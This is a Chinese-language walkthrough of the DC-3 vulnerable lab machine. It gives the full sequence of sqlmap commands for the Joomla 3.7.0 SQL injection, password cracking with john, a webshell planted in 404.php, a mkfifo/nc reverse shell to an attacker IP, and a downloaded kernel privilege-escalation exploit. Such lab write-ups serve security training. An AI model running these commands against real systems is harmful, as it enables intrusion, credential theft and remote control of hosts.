1.搭建环境
这里就不作详细描写,将kali和靶机搭建在同一网段即可。
2.信息搜集
2.1网段扫描
nmap --script=vuln 192.168.40.135
这里实验nmap对网段进行扫描,这里140是我本机,那靶机的IP是135且开放了80端口,尝试访问一下。
2.2 80端口访问
这里有一个登录界面,同时通过火狐的插件可以看到DC-3使用的CMS,这里是joomla。
2.3 使用joomscan
一款开源的OWASP Joomla漏洞扫描器
searchsploit joomla 3.7.0
可以看到joomla的版本号了,还有网站的子页面。
2.4 查看joomla3.7.0版本的漏洞
searchsploit joomla 3.7.0
2.5查看漏洞的详细描述
通过上面可以看到存在SQL注入,切换到txt文件路径下查看,
cd /usr/share/exploitdb/exploits/php/webapps
cat 42033.txt
这里面描写的很详细。
3.SQL注入
sqlmap "http://192.168.40.135/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
服务器使用的是joomladb,继续查寻表。
sqlmap "http://192.168.40.135/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-a -D joomladb --tables -p list[fullordering]
这里看到了__users,让人浮想联翩,就决定是它了。
sqlmap "http://192.168.40.135/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=upd" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns -p list[fullordering]
看到name和password字段,接着弄
sqlmap "http://192.168.40.135/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=upd" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "name,password" --dump -p list[fullordering]
这里得到了name和password,但,密码是加密的,对其进行解密,把这段加密字段保留成文本。
john 文件名
这里已经完成对网站后台的账密的获取,回到网站。
4. 登录网站后台
通过之前joomscan扫描得到的后台进行登录
url:http://127.0.0.1/administrator/
5. 上传webshell
这里上传。
对新创建的404.php进行伪装,同时写入一句话木马。(伪造可以免去,重点是写入一句话木马。)
访问一下
可以看到内容是404报错
6.使用蚁剑链接
http://192.168.40.135/language/404.php
7. 提权
nc反弹(kali)
蚁剑虚拟终端
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.107 2333 >/tmp/f
反弹成功
注:以下是在蚁剑虚拟终端完成的操作,但是要在kali反弹完成的命令里操作,需注意。
看到我们的权限较低,需要提权。
7.1查看版本信息
看到当前系统是 Ubuntu 16.04,查看这个系统版本有无漏洞。
7.2查看漏洞
里面附带了网站,可以进入下载,但文件是在外网。
直接在靶机中下载容易失败。我们先下载到本地,在kali中搭建服务,并将exp压缩包上传上去。
使用靶机下载
wget http://192.168.40.140/39772.zip
unzip 39772.zip
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput_exploit
./compile.sh
ls一下
./doublept
(提权)
cd ~
cat the-flag.txt
本文仅供学术探讨